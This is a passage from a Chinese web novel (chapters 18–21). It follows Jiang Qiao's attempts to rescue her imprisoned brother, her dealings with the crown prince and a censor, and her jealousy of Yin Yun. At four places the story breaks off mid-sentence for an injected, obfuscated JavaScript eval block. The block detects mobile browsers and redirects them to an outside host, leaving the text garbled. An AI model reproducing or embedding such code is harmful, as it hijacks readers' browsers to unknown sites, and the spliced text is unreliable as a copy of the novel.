她俯下身，指尖虚划着他的身子，“太子殿下往这里砍一刀，叫我实实在在往你心上瞧一眼，如果是真心的喜爱，我便答应你。” “好不好？” 话音一落，所有虚假的伪装都卸去。 冷冷的。 尖锐的。 若是视线能化作实物，或许他已是皮开肉绽。 萧晧一顿，又笑，抓住了她的指，放在唇边，不紧不慢含了进去。 江乔没忍他，挥起另一只手，直直一个巴掌甩了过去。 萧晧挨得结结实实，脸火辣辣的疼，虽说，他算不得养尊处优，但当面被甩巴掌的事，的确是开天辟地的第一遭。 指着她的鼻子，不怒反笑，“好你个小丫头……” “怎么？殿下要诛我九族吗？”江乔牙尖嘴利地反问，但心中并不怕。 萧晧是个混账，但不蠢。 今日的事，他绝不敢闹大。 太子之上，还有皇帝，如今这位大梁皇帝年轻时是个十步杀一人的狠角色，上了年纪，反而软了性情，很有礼贤下士的风范，广开言路的意愿。 今日的事，他做得并不光彩，一旦闹得人尽皆知，丢颜面的事小，要紧的是无穷无尽的麻烦。 萧晧扯了扯嘴角，再次打量着江乔。 江乔任凭他打量，不认为自己会因此少一块肉。 “好好好……小丫头，这回我认输。”萧晧摊开手，很随意地威胁着，“不过，江白的事，你自己想法子解决。” 也好奇，她这样手无寸铁的小家伙，靠着一点小聪明，能怎么同那群迂腐的，只认权势，不懂变通的老家伙周旋 ，到时候，还是要乖乖跑来回求他。 “不劳操心。”江乔很客气地问，“我能走了吗？” 萧晧摆摆手，“你又不肯让我亲，留着你，还有什么用？” 江乔直接无视了他的荒唐话，礼貌地行了礼，转身，正要离开时，身后的萧晧又出了声。 “不过，下次见面，我会让你心甘情愿的。” 是介于少年和青年人之间的嗓音，松松懒懒的，像是历经多朝的青铜礼器，带着斑驳铜锈，一锤下去，荡出回音。 江乔直接关上了门，抬起步子，走到了隔壁的雅间。 里头坐着两人。 黄管事一见她，立即起身，“江小姐，这位便是……” 随即看向身边人，想要介绍。 江乔打断他的话，用眼神示意着，笑道，“萧晧还在隔壁，麻烦黄管事去接待一下。” 他若有所觉，点头，“好的。” 黄管事退出了此间屋子，不忘关上门。 二人对接得行云流水，仿佛共事多年。 与此同时，那未能被介绍的年轻人也站起身，很是彬彬有礼地向江乔行礼问好，打算自我介绍。 “御史中丞大人，我知晓你。小女江乔，是被你下令关押的江白之妹。” 江乔毫不客气地点出了他的官职，微笑地给出一个下马威，继续不动声色地打量着他。 御史中丞负责协助御史大夫监察百官，有弹劾、审查官员的义务，看似位卑权重，却是一个吃力不讨好的位置。 朝廷中派系林立，从不存在东风压倒西风，或西风压倒东风这般非此即彼的情况，各人有各人的靠山，每人有每人的能耐，来往之间，都是人情世故。 御史中丞说是能够监察百官，但哪有百官，真就老实本分的，让他监察？ 而眼前的年轻人五官秀气，目光澄澈，神色平和，是山间溪流、林中绿树般，清雅端正的颜色。 相由心生。 这样的人，绝不是偷奸耍滑、汲汲营营之徒。 果然，只能成为一个白白被人利用的工具， “看来你们御史台的确清闲，殷大人也肯随随便便放你们出来吗…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526464|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”江乔意有所指。 这位御史中丞似乎没听出她的言外之意，微微惊讶，“江小姐亦了解朝中之事吗？” 无官无职的寻常人，顶多听闻御史大夫一职，并不会清楚御史台内的上下关系。 “刚了解的。”江乔脸不红心不跳，重复强调，“毕竟，家兄无缘无故遭了事，我总要弄明白，是哪路神仙降的祸。” 此言又是夹枪带棒。 那人却还是老僧入定般，神色自若。 江乔正视他，又道，“敢问大人名字。” 他顿了顿，“温昭。” “温大人。”江乔一时之间摸不清他的底细，不等他主动言说了，直接道，“您方才也听闻到了吧？那位令人尊敬的太子殿下的话语。” 黄管事说过，这两间屋子构造极其特殊。 于此间，能够清晰听闻隔壁的动静，相反，到了隔壁，却难以洞察一墙之隔的一切。 无论是这临江阁，还是这黄管事都透露着一股子古怪。 但江乔没那么多的好奇，也不打算深究。 只要能借这地，这人，救出兄长，便是万事大吉。 温昭轻轻应了一声。 江乔说得更直白，“此事因果已是明摆的，不过是有人有心利用，才使兄长有了这样一场的无妄之灾，不知大人可否手下留情。自然的，不会叫大人白白忙活一趟。” 她的准备，是事无巨细的。 据黄管事的说法，温昭出身贫寒，家中只有一位瞎眼卧榻的老母，连只鸡都养不起，更别说良田、庄子。 虽已为官，但靠着微薄俸禄，也难以维持生计，私下常常接着誊抄、书写的活计。 “温大人，为了兄长，倾家荡产也无妨。”江乔下定决心。 “抱歉……” 温昭注视着她的双眼，轻声说道。 江乔霍然起身，“你该是亲耳听闻了，这一切的一切，不过是有心人的陷害。” “是的。”他答，“太子殿下心思不正，言行不端，在下会禀明殷大人。” 江乔冷笑，“所以，你是怕他……” 御史中丞同储君，正如蚍蜉同大树的关系，依附是常事，若想作对，才是罕事。 这幅场景也在预期之中，江乔并不惊慌失措，眉头一蹙，坐直了身子，正要换说辞。 “不是。”温昭道。 他坦荡地望着江乔，“江白是否私相授受一事，尚在调查访问之中。” “孤证不立，也请江小姐放心，在下必当尽心尽力，让真相水落石出。” 江乔凝视他许久，方知他这话，确无嘲讽或敷衍的意思。 竟全然是真心实意？ 江乔被气笑，也算是知道，明明已入官场，为何他还是落得一个家贫无以至观的局面。 “温大人打算如何做？” “此事相关卷宗已送到御史台中，同时，我已请求几位在江州的同僚同步调查。” 江乔垂着眼眸，“必须如此吗？” 温昭认认真真回复，“抱歉，江小姐……这是按章程办事，且如今接手此事的，只有我一人，不过……在下会尽快尽力的！” “若我求你呢？”江乔平声问。 “啊？”温昭不知所以、 对着一个榆木脑袋，花再多的气力都是徒劳，江乔哂笑，“好好，那还请温大人尽心尽力吧！” 说完，她头也不回地离去了。 19. 不甘 姝娘也早早回到了家中，一听到推门声，急急忙忙放下了手中的物件，从江乔手中接过包裹，沉甸甸的，不知装了什么东西。 又道，“牢狱那边，也打点好了，虽见不到公子，但有一位狱卒是隔壁赵婶的侄子，我塞了十两的银钱，让他送了两床被褥进去……” “出来的时候，碰到了一位大人，好像是负责此事的？他说，公子此事多半能善了……” 姝娘将今日所见、所闻、所做都事无巨细地告诉了她。 “好……” 江乔有气无力应了一声，拖着身子，往屋子里去，“我想歇会。” 姝娘看着，心头一跳，“小姐……你今日，是去了哪儿？” 二人约定了各行其是，可姝娘——打心底里还是把江乔当做一位小妹妹看待，知道她有本事、有能耐，但也清楚，她的本事和能耐太大，时常是不计后果，要伤了自己的。 姝娘很不愿她以身涉险。 江乔停下脚步，侧过头，天快亮了，一点点熹微晨光自天际而出，洒落在两具同样疲倦不堪的身躯上。 她们都是奔走了一夜。 但又有何用呢？ “我去见了温昭。” “你不知道温昭是谁吧？我也是刚知道的……” 江乔笑着，礼尚往来般，也将她今夜的计划托盘而出。 “对。” “兄长是因我，才平白无故受了这一场的祸事。” “温昭一意孤行，大概就今日，就能把一切查得水落石出了。” 她转过身，远远望向了姝娘的眸子，喃喃自语，“早知道，该直接在茶水里面下毒的。” 也省得浪费这许多的口舌和心力。 “或者，还是去找萧晧？不知道他有没有回宫中去。” 江乔语无伦次。 脑袋一阵又一阵的疼，她睡眠浅，已是好几日没有睡一个好觉，昨日又是完全没歇息过。 精神绷成一条极致的线。 与兄长分离的时光，有了成倍的煎熬。 “无计可施了吗？”姝娘轻声问。 她知道什么呢？一旦被人得知兄长的身份，一切就完蛋了。 多年的东躲西藏。 多年的努力和周旋。 都成了一场空，还要白白赔上性命。 江乔带着刻意为之的恶意，“嗯”了一声，“说不定，我们这两天做的这许多事，也是毫无意义的呢。” “白忙活一场……还是该直接下毒的……” 她碎碎念念，怀疑着，是否是自己选错了路？ 明明只要顺从萧晧便可以了。 但眼下……找后悔药也来不及了吧？ “那小姐，会放弃吗？”姝娘微笑，她将手中的包裹放在一旁，上前来，抱住了江乔。 江乔仰着脑袋，望着她，双唇紧紧抿起。 再多自暴自弃的话，都能无所谓地说出口。 唯独放弃兄长…… 不可能说，也不能想。 “不会。” “那就好，我们重新想法子吧。”姝娘轻轻笑着。 是不知者无畏？ 还是她就是一个心大的。 脑袋被紧紧按在她胸前的柔软上，江乔后知后觉，脸上泛起的一阵热，一边暗自恼着她的不着调，一边连忙挣脱这个怀抱。 一本正经问，“还有什么法子？” 见到江乔恢复了精神气，姝娘的笑意更真切了。 二人实实在在讨论了一会。 没有得出答案。 “要不……还是去找尹相吧？”姝娘提议。 江乔沉思，“尹相？威逼？还是利诱？” 前者的话，可以尝试去找到他的把柄，尹相为官许久，不可能不留把柄的。 若是后者，一人之下万人之上的丞相，又会有何需求呢？ 江乔在心中勾勒出一张大网，力求寻到这尹相最薄弱之处，一击毙命。 就这时，姝娘又出声，有几分迟疑，“其实，不用这么麻烦吧……” 江乔看她。 姝娘理所当然道，“可以去找尹蕴。” “尹小姐对公子有好感，只要和她说明了此事，她必然会出手相助的。” “甚至，都不用尹相出面，尹小姐其人……” 姝娘条理分明地说。 原来，她也知道，尹蕴对江潮生的心意。 “不可以。”江乔不假思索反驳。 姝娘歪着脑袋，不解。 江乔站起身，背对着姝娘，心乱如麻。 姝娘也站起来，问，“为什么呢？” 仿佛信她，能给出什么不为人知的理由。 江乔笃定，“人情债最难还，今日我们求了尹蕴，明日该怎么偿还她呢？” 姝娘蹙眉，“要分这么明白吗？” 江乔耸肩，理所当然的语气，“自然的，况且，这事不单单是我同你，还有关兄长。若我们替兄长出面，向她求助，还不知叫她会如何想。” 说完，随意笑了一声，像是自嘲，也像是无奈。 江乔又往院子中走了几步，离姝娘远了些。 这次姝娘没有跟上来，就站在她身后，隔了几步的距离。 “其实……”姝娘犹犹豫豫开口。 其实，这桩事并无江乔说得那般严肃。 眼下来说，寻求尹蕴的帮助，是最好的解决方案。 江乔抿着唇，想笑，但笑不出来，可能是没力气，“晚些时候再说吧，我先去擦洗一下，身子黏糊糊的。” 她直接逃开了。 姝娘心绪复杂，目光再次落在那个包裹上，未打开，但她能猜到，里头装了什么东西——无非是钱财，不知具体的数目，大概是这个家中全部的钱财了。 她来这个家中，也有一段的时日了。 兄妹二人看似性格迥异，本质上却是很相似，例如，对他人都有着极强的防范心思。 姝娘从未听过二人提起父母、童年、往事。 可有些事，无需明说，只瞧行为习惯便能瞧出许多来。 兄妹二人从前的日子，过得并不好。 或许是饥一顿饱一顿。 或许是一直颠沛流离。 江乔虽不吝啬，但也远远谈不上大方，挥金如土的事，更是不可能发生在她的身上。 即使这样，她也愿意耗尽家财，去换得江潮生平安无事，哪怕只有一丝的可能，她也毫不犹豫。 这般情况下，有着一条“康庄大道”摆在面前，几乎没有代价，她却迟疑了吗？ 姝娘望着不远处，透过那普通的门窗，似乎能瞧见江乔的身影。 先前的猜测，再次冒出了头，生出了长长的根，粗粗的茎，有了具体的形状。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526465|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 屋内，江乔简单擦拭身子后，躺回了床榻上。 浑身上下都泛着酸。 回忆这两日的所见，其实是翻来覆去想过数次的，但她想，也许有被遗漏的一线生机呢？ 万一呢…… 只有有一线生机，都是好的。 江乔想着，两行眼泪又不争气地冒出来，从两边的太阳穴滑了下去。 她翻了身，侧躺着。 其实她不是爱哭的性子，可天生就是个易流泪的体质。 平日还能装模作样，不叫天性压了理性，但现在江潮生情况不明，不久后，生死也要未定了，心头一阵酸，一阵苦，恨不得自己也被关到牢狱之内。 至少能和兄长待在一处。 江乔抬起手，遮着眼，泪止不住，干脆不止了，纵容自身哭了一会，她又重新坐起身，扯出一张纸，勾勾画画，手侧堆着高高的书信、册子，是刚从江潮生的书房中找出来的，记载着他到长安城之后，与其他官员的往来。 她想从这些记录中，再找出路。 总不能放弃。 温昭，尹相，萧晧…… 一个个名字列下来，江乔无力地靠在墙上，仰着脑袋，望着空无一物的天花板，她发现，向尹蕴求助，的的确确是最万无一失且快捷的法子。 好处，姝娘都说的明明白白。 坏处…… 其实，普通朋友之间，也该互帮互助吧？ 其实，也不一定要兄长以身相许吧？ 该相信兄长，他不是如此肤浅的人。 救命之恩是救命之恩。 心动是心动。 他不会混淆的吧？ 不甘心，江乔咬牙捂脸，泪珠成串的从指缝溢出，向尹蕴求助一事，几乎等同于把兄长推给她。 但，还有别的法子吗？ 良久后。 江乔放下了手，起身，换了衣裳。 刚拉开门，就见到了姝娘。 “小姐……我想了想，还是要去找尹小姐，她是一个好人，哪怕对公子没有男女之情，也定然会答应帮忙的。” 天完全亮了。 “公子那边的事要紧，待会我就去尹府。” 姝娘细细叮嘱。 “你歇一会，灶上热着昨日买来的饼。” 最后，姝娘顿了一顿，目光温柔，如春风拂柳，轻轻望进了江乔的眼眸。 “小姐，你同公子是兄妹。” “兄妹再亲，亦有分别的时刻。” 这话是没头没尾，似乎是灵光一闪，突如其来的。 但彼此都能听明白的。 姝娘维系不住笑容，她是用尽了全部的勇气，思量了许久，才说出这句话的，此刻话也说了，心却未定，她挪动步子，准备前往尹府，身后起了声音。 “为什么？” 江乔捏紧了手，“因为是兄妹吗？” 四周并不安静，走街串巷的小贩，照理家务的妇人，赶往学堂的孩子……谁的今日，是事事顺心，又有谁的今日，愁云惨淡？ 闹腾的巷子中，唯有江乔的质问，掷地有声。 与此同时，“嘎吱——”一声，不够气派，也不够独特的木门被推开。 有两人出现在家门前。 其中一人，是两天一夜未归家的江潮生，而他身侧，与他同行者—— 正是尹蕴。 20. 同姓 “姝娘、滟滟……这是要出门吗？”尹蕴浅笑盈盈。 姝娘看着她，又看着江乔，眸光犹犹豫豫地徘徊着，是被这突如其来的相遇打得措手不及了，但习惯了有问必答，支支吾吾吐出了两个字，“是啊……” “是打算去找你的。”江乔先一步出声，咬文嚼字般，念着客气却不亲近的称谓，“尹小姐。” 且直直地望着她，像一只负着伤，却还能张牙舞爪的小兽。 尹蕴顿了顿，“江小姐……” 作为回应。 又慢慢垂下眼帘，适当叫自己面露些许惊讶和不解，但不主动问。 仔细看这二人，衣裳布满了褶皱，发也是杂乱无形的，比她与江潮生，仿佛是她们出入了牢狱，又四处奔走了许久。 大概，的确是得到了消息，且奔走了？ 尹蕴眨着眼。 “今日的事，也劳烦了尹小姐和老师。”江潮生轻声。 他一直称呼尹相为“老师”。 一句话，风轻云淡为尹蕴解了围。 尹蕴下意识答，“江先生有了麻烦事，我同父亲，又怎能坐视不理呢？” 江乔面色又白了一层。 尹蕴继续组织着措辞，她将江乔当做了天真可爱的小妹妹，自然而然接受了她阴晴不定的表现。 “江小姐……”尹蕴缓缓放轻了声，言简意赅又面面俱到地解释着。 江潮生这次被卷入麻烦中，是丞相府十三曹中的另一人缘故。 那人一直嫉恨着江潮生，便抓住了这个微不足道的把柄，绕开了尹相、尹管事等人，直接向御史台告发了他。 得到消息后，尹蕴的确心乱如麻，立即将此事告知了父亲，又因一直负责料理家中的庶务，就拿着鸡毛当令箭，亲自紧锣密鼓地安排好了一切。 半夜三更的时候，江潮生便“完璧归赵”了。 但因担心此时回家，会惊扰了家中人，才借居在尹府中。 “是我不好，该早早地派人来知会一声，也省得江小姐同姝娘担心。这件事，是我同父亲的失责，是我们未能约束好下人……” “原来如此……”江乔不咸不淡地道，“尹小姐事必躬亲，体恤下情，很值得钦佩呢。” 尹蕴面上忽的泛起一阵红，发现自己在这两日一夜之中所作所为，都很有投怀送抱的嫌疑，怪不得父亲一直面露不愉。 “不完全是如此，江先生是父亲的左膀右臂，自然与旁人不同的。”她连忙解释。 余光不经瞥向了江潮生的侧影，自高高的鼻子到细细的脖颈，是一条流畅优美的线，他是很好的，这样想着，心头又是一阵苦涩。 她不天真，也知晓门当户对的一套，有身为丞相的父亲看着，她与江潮生是很难修成正果的。 但她，是一眼沦陷。 后来许久，她非但没有脱身，还愈发沉沦，爱着他的好颜色，好学识，好品行…… 可孤木难行。 “府中，父亲已同意了江先生的告假，还请先生好好调理……” 尹蕴更注意着话语中的分寸，绝不肯踏雷池一步。 但情意都要她的眉梢眼角淌出来了。 “江先生……” “江先生……” “江先生……” “小姐，我们先进屋子吧？”姝娘来拉扯她。 “我不去。”江乔生硬地答。 江乔就要继续冷眼瞧着，哪怕欲哭无泪。 又侧过头，直直盯着姝娘瞧，瞧得她发毛。 姝娘问，“小姐，你怎这么看我……” 话里透着虚，心里却不一定。 江乔冷淡地收回了视线，这丫头根本不知道自己方才的话，对她有怎样的影响。 若她未听到这番话，大可再与尹蕴虚与委蛇，或装傻充愣。 但眼下，她又有何理由，以何身份去怨怪尹蕴呢？ 同她做争风吃醋的事。 是她尽心劳力帮兄长解决了麻烦，又不求回报。 是她慧眼识珠，爱慕兄长。 她听不下去了，又一寸一寸挪着眸子，看向了江潮生。 原来，他并没有狼狈不堪，也谈不上受苦受难。 身上衣裳不是先前所穿那一身，月牙白的料子泛着天然柔光，一眼可瞧见的贵气，神色从容，眉眼平静，乌黑的发披在肩上。 是她从未见过的，真正的，江潮生的模样。 江乔冷笑一声，视线再次投向了尹蕴。 眸子一滞，二人身上的衣服，是一种料子。 远远望去，这淡淡的柔光能练成一片。 他们就隔着一人的距离，你说着，我笑着，你望着我，我看着你，对视着。 平心而论，都无冒失的举动，更无暧昧的话语，可就只是站在这儿，便是浑然天成的一对壁人。 姝娘的话，鬼魅似的，再一次缠上了她。 兵荒马乱。 随即，江乔像是一个闹脾气的小孩子，将一切都撒手不管了，只一语不发地退回了屋子里头。 “啪嗒”一声，木门被严严实实关上。 江乔靠在门后，还听着外边的交谈声，是跟自己不对付。 外头的人，还在笑。 外头的人，开始告别。 外头的人，被送走了。 …… 那口气还哽在嗓子眼，上不去，下不来，连带着五脏六腑都躁动不安。 她甚至有点怪姝娘，平白无故的，为何要突然机灵一下，同她说这些话？ 但又明白，有些事，就是无法被控制的，无法被改变的。 比如，尹蕴对江潮生的心思。 又比如，世俗伦理。 外边没了动静，该是一同出去送客了，江乔烦躁不安地在屋子里头兜着圈子，然后想了想，翻开了放在一旁的，厚厚的一叠书籍。 这是昨夜，她翻找江潮生的书信时，顺手搬来的。 引经据典，以史为鉴。 她翻过了一册又一册的史籍，一页又一页地瞧着，历朝历代都有荒唐无度的皇子、公主。 其中有一位百年前的大周长公主，是一个惊世骇俗的奇人。 她自幼得宠，又豢养众多男宠，与其叔父，其亲弟这两朝的帝王都纠缠不清，也曾大权在握，推动了不少政策的实施。 后来，收权诸侯王，废除分封，正是源她而起。 可这样一位奇女子，到了史官笔下，其功绩、谋略都是一笔带过，只着重点评了她的淫.乱不堪，水性杨花，是祸国殃民之徒。 更说，其幼弟——那位出了名的昏君，正是受了她的蛊惑，才丢失了性命，导致大周受了玄裳军之乱。 江乔嗤之以鼻，将这册史书随手扔在了一旁，但书还翻开着，停在那一页的判词。 那无名氏说，男女同姓，其生不蕃。 她却想，男欢女爱，为何非要扯到结婚生子的事？ 那无名氏说，娶妻避其同姓，畏乱灾也。 她又想，世上有这许多人，偷奸耍滑，胡说八道，上天为何一言不发？ 所谓同姓不婚，不过是糊弄人的。 江乔故作轻松的笑。 窗开了一条缝，风吹了进来，纸张翻过一页。 这次，条条框框边，出现了一片小小的字。 江乔默了一瞬，弯下身。 江潮生看书时，常批注，爱附语，她是知道的。 不知道，兄长这次写了什么。 江乔若无其事地想，持书的手，却一直在抖，连带着那一片墨也在抖，晕成乌云了。 她将那团 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526466|186317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌云抓住了，掰开着，揉碎了瞧。 那一行字，是为那位长公主分辨的。 说无论是论人，还是论史，都要一分为二，不可以偏概全，更不可只谈其私生作风，而无视这事实功绩。 江乔重重松了一口气。 与此同时，一页小小的纸张从书页中掉了出来。 江乔捡起来，匆匆看了两眼，缓慢的，手指重了力气，将纸张一角揉皱了。 “咚咚——” 一阵敲门声，惊动了她。 江乔忙将纸张捏在手心。 “滟滟，我能进来吗？” 门外，江潮生未等到答复，他再次轻声问，“我进来了。” 再一阵安静，江潮生推门而入，江乔已坐在铜镜前。 二人的面庞都映在了小小的镜子中，一前一后，一是妍丽花容，一是淡雅月貌，其实两人的容貌并不相似。 是有着一样惨淡的白皙，又都是难得一见的漂亮颜色，再长年累月的形影相随，便下意识地觉得相像。 江潮生还是在说昨日的事。 他本不想叫江乔得知此事，免得她心乱，但既然她已经知道了，自然不能简单搪塞过去，一点一点，告诉着她。 又因从姝娘处得知了不少事，不免叮嘱，“下次不管再遇到何事，都不能以身涉险了。” “好。”江乔忽而又道，“那该好好谢过尹小姐。” 很是通情达理的话。 江潮生轻描淡写，“嗯，这件事我会处理的。” “兄长，还是未对她动男女之情吧？”江乔视线往上挪动着，又一次落在他面上。 江潮生颇感意外，但还是实话实说，“我并无这样的心思。” 江乔慢吞吞的“嗯”。 二人又言说了几句，但江乔还是一份心神不定的模样。 江潮生思量许久，轻声道，“今日我在家中，若有事，随时来寻我，好吗？” 江乔：“好。” 得到答复后，江潮生退出了房间，带上了门。 屋内静悄悄。 江乔将手中那张皱巴巴的纸张重新展开，一字一句看了过去。 另一边，江潮生回到书房，并未对江乔完全放下心。 他明白江乔是个什么性子，对着旁人，她是乖巧懂事的模样，但到了他面前，却常常是蛮不讲理，闹腾作怪的。 或许，是真伤了她的心了？ 江潮生一边思索着，一边磨墨铺纸，他准备再修书一封，向尹相道谢。 他这位老师，向来是极其精明理智的，绝不做因小失大的事，而这次对他的出手相助，该是不情不愿，却无可奈何的。 但经此一事后，尹相再用他，该放心许多了。 不枉他自投罗网，算计一场。 另外…… 他想到了尹蕴。 从前这位尹大小姐在他眼中，只是一个模糊的影子。 对尹蕴的心思想法，他自然是有所察觉。 因这样一份感情，于他而言，无所谓有或无，便只当做不知。 但如今，明确了这位尹小姐能耐和本事，以及她在尹相心中的份量。 这密密麻麻的一张网似的计划，便出现了一点未发觉的死角，虽小，却恐牵一发而动全身。 封好了信封，端端正正写上几个字，江潮生心平气和 于他而言，这世间大多数的生老病死，相互算计，都不过是人来人往的把戏。 既是人为，便有迹可循，不会脱离了掌控。 唯一叫他捉摸不透的，是江乔的心思。 每每都让他，感到束手无策。 江潮生又离开了书房，一来，是要将这封信件亲自送过去，才显诚心诚意，二来，他要去街上寻一些小玩意，好哄江乔开心。 21. 诱饵（入v通告） 对江乔来说，近日的两个好消息都来得恰是其分，个个能叫她眉开眼笑，喜不自胜。 前两日圣寿节的宫宴上，上了年纪的帝王总算想到了孩子们的亲事，一杯热酒下了肚，开始乱点鸳鸯谱。 洋洋洒洒赐了一堆婚，有主动请愿的，也有被撮合的。 其中最为引人注目的，还是太子的婚事。 太子妃，若无意外，便是来日的国母。 这人必须出自名门，德才兼备。 放眼整个长安城，又有谁，能比尹蕴更适合呢？ 江乔在巷子口的茶馆里，听着旁人议论此事。 前日皇帝正式下了旨。 昨日请了高僧算八字。 …… 这是第三日了，可此事的热度还是丝毫未减，上至七老八十的老人，下至牙牙学语的孩童，都聚在了这小小的茶馆里，都好奇着，交头接耳着。 毕竟是大梁立国以来，皇室第一桩的喜事。 同时，皇帝并无其他亲生的孩子，太子萧晧的婚事，也要成为近十年来，唯一的大喜事。 江乔听了满耳朵的话，一边磕着瓜子，一边很乐呵地同旁人说，“同喜同喜。” 于百姓而言，是天下大赦，免除一年杂税。 于她而言，是一个萧晧，一个尹蕴，两个顶顶的大麻烦被凑成了一对，再也烦不到她眼前。 这一声“同喜”是实实在在的。 江乔很爱恨分明，虽说，是这大梁皇帝害得她同兄长颠沛流离多年，但就此事上，他算得上英明。 因而在旁人闲谈的时候，她也诚心诚意地夸了几句，“是啊，陛下此举再好不过。” 对面的几位书生谈的更起劲。 “如此一来，储君之位也算稳固了，陛下是有心为太子铺路呢。” 江乔笑吟吟听着。 过了一会，姝娘闯进了茶馆中，四处张望着，寻着她的身影，算算时间，是到了饭点。 江乔也起了身，告别了这新结交的“友人们”，准备跟她一到回家中去。 回去的路上，姝娘还在说她，很不高兴，“小姐，你不该整日和这群人混在一处！” 她听到了那些书生的阔谈。 江乔不以为然，奔着跳着往前两步，转过身，笑着望她，“那姝娘觉得，我该做什么呢？” 看她带着喜气的，花儿一样的面庞，姝娘心里的不满也消散了，嘟嘟囔囔一声，“也该是想想自己的婚事了！前些日子，不知是谁，还在那儿发愁呢。” 江乔点着头，认为她言之有理，便问道，“兄长今日什么时候回来？” “该天黑后吧？” “嗯嗯。”江乔扬了一个笑，“姝娘，晚上要出去逛吗？” “你想出去？” “不是，是你。你要出去的话，帮我带个东西吧。” 姝娘顿下步子，一脸狐疑，“你又在想什么？” 江乔还在笑，“我有事同兄长说。” 伸手不打笑脸人。 姝娘知道她在打坏主意，叹了口气，“好吧好吧，要什么东西，你告诉我。” 天黑了后，三人用了晚膳。 简单收拾后，姝娘就借口采买出了门，连大黄也跟着她出去撒欢了。 家中只剩下江潮生和江乔二人。 江潮生为姝娘那些花花草草浇着水。 “兄长……”江乔凑过去，她身上还藏着那日拿到的纸张，书籍都趁着兄长不在家的时候，被她塞了回去，唯独这张纸留了下来。 想起上头的字，想到今日要说的话，就连她这样大胆的人，也不免心慌。 江潮生侧过头。 江乔摇了摇头，因心中还是慌得厉害，说不出话来。 江潮生笑着，“你要同我说什么？” 他怎能这样泰然处之？ 江乔心中烦躁，说出口的话也不好听，带着浑然天成的娇嗔意味，“兄长！” “好好，兄长不闹你。”江潮生轻飘飘带过。 江乔反而开始生着自己的气。 怎么会连个完全话都说不出来？但幸好，今夜江潮生并无事，短时间之内，姝娘和那只狗也不会回来。 她有好几个时辰，可以慢慢准备。 但就今日，她这些话，是一定说给江潮生听的。 江乔再一次把名为决心的钉子往心里按了按，一颗心被固定住了，跳得总算不那么厉害。 她上前帮江潮生一些侍弄花花草草。 但计划改不上变化，是一个永恒的真理。 未过多久，一个小厮慌里慌张的来到了家中，“江先生，江先生！” 一声高过一声，叫魂似的。 江乔计划中没有这个人，开门后，看到他，也没有一个好脸色，“做什么！” 这小厮看向了江潮生，“江先生呢？是出了麻烦事！” 江乔才发现，这人打扮正是尹相府上的，仔细看他相貌，确实眼熟，心头一动，直接问，“既然是麻烦事，你也别等了，先说出来吧。” 恰好，江潮生也走了出来，“是何事？” 那小厮顾不得上这许多，连忙说了事。 是尹蕴。 她今日和族中几位女性长辈一同去城外的感业寺上香，也是为了这桩婚事祷告、占卜。 尹家大小姐出行，大多数时候都是前呼后唤，侍卫数百的，这次出城上香本该是万无一失的。 却不料，到了城外，先是这马车出了故障，轮子陷到了泥中，动不了，再是几位丫鬟吃坏了肚子，暂时离开了尹蕴。 几个巧合凑到了一块，就造成了这一局面——尹蕴不翼而飞。 “最麻烦的事是——江先生，您是知晓的，这前段时间北边闹荒，城外有不少难民在，就怕大小姐是被绑了去！” 江乔完完全全听了，也记在了心上，虽对尹蕴的安危并算不得在意，但这时候，还是说了一句好话，“这倒是急得很，该去找官府吧？找兄长……又有何用呢？” 说着，她不动声色瞥了江潮生一眼，后半句，就算知道是画蛇添足，也要刻意补充着。 “我知道了。”江潮生眉头微微拧起，“我去一趟。” 小厮连连点头，感恩戴德。 “等一下！”江乔叫住了他们二人，问，“要去哪儿？” 江潮生望着她微笑，“应该是直接出城，滟滟，你今日早些时候睡，莫要等我。” 江乔飞快想着应对的法子，她是计划着今日的，既然说好了今日，便是今日。 不假思索，“我同你一块去。” 江潮生注视着她。 江乔补充，“若是要去找人，多一个人多一分力气，况且尹小姐和我也时常来往，我总不能见死不救。” 江潮生总算点了头。 二人出了巷子，就有一辆马车在等候，是知晓江潮生不善骑射，提前准备好的，又上了马车，二人被直接拉到了城外。 尹蕴消失的地方，是一道大路旁，往前往后的路都被卫兵看守了起来，只放行官府和尹相府上的车马通行。 到了地方，已有不少大小官员都到了此处，关切问话 尹蕴的几个丫鬟被拎到一旁反复问着话，个个都梨花带泪的，生怕自己小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 